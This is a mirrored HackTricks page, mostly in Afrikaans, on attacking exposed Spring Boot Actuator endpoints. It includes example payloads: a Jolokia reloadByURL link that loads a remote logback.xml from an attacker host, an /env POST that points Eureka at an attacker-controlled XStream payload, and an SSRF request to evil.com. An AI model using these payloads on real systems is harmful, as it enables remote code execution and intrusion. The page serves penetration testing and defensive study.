mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
3.4 KiB
3.4 KiB
Spring Actuators
{{#include ../../banners/hacktricks-training.md}}
Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png
Exploiting Spring Boot Actuators
Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Key Points:
- Spring Boot Actuators registreer eindpunte soos
/health,/trace,/beans,/env, ens. In weergawes 1 tot 1.4 is hierdie eindpunte toeganklik sonder verifikasie. Vanaf weergawe 1.5 is slegs/healthen/infonie-sensitief per standaard, maar ontwikkelaars deaktiveer dikwels hierdie sekuriteit. - Sekere Actuator eindpunte kan sensitiewe data blootstel of skadelike aksies toelaat:
/dump,/trace,/logfile,/shutdown,/mappings,/env,/actuator/env,/restart, en/heapdump.- In Spring Boot 1.x, word actuators geregistreer onder die wortel-URL, terwyl hulle in 2.x onder die
/actuator/basispad is.
Exploitation Techniques:
- Remote Code Execution via '/jolokia':
- Die
/jolokiaactuator eindpunt stel die Jolokia Biblioteek bloot, wat HTTP-toegang tot MBeans toelaat. - Die
reloadByURLaksie kan uitgebuit word om logging konfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blinde XXE of Remote Code Execution via vervaardigde XML konfigurasies. - Voorbeeld van 'n uitbuit-URL:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
- Config Modification via '/env':
- As Spring Cloud Biblioteke teenwoordig is, laat die
/enveindpunt die aanpassing van omgewings eienskappe toe. - Eienskappe kan gemanipuleer word om kwesbaarhede uit te buit, soos die XStream deserialisering kwesbaarheid in die Eureka serviceURL.
- Voorbeeld van 'n uitbuit POST versoek:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- Other Useful Settings:
- Eienskappe soos
spring.datasource.tomcat.validationQuery,spring.datasource.tomcat.url, enspring.datasource.tomcat.max-activekan gemanipuleer word vir verskeie uitbuitings, soos SQL-inspuiting of die verandering van databasisverbindingstrings.
Additional Information:
- 'n Omvattende lys van standaard actuators kan hier gevind word.
- Die
/enveindpunt in Spring Boot 2.x gebruik JSON-formaat vir eiendom aanpassing, maar die algemene konsep bly dieselfde.
Related Topics:
- Env + H2 RCE:
- Besonderhede oor die uitbuiting van die kombinasie van
/enveindpunt en H2 databasis kan hier gevind word.
- SSRF on Spring Boot Through Incorrect Pathname Interpretation:
- Die hantering van matriksparameters (
;) in HTTP-padname deur die Spring-raamwerk kan uitgebuit word vir Server-Side Request Forgery (SSRF). - Voorbeeld van 'n uitbuit versoek:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
{{#include ../../banners/hacktricks-training.md}}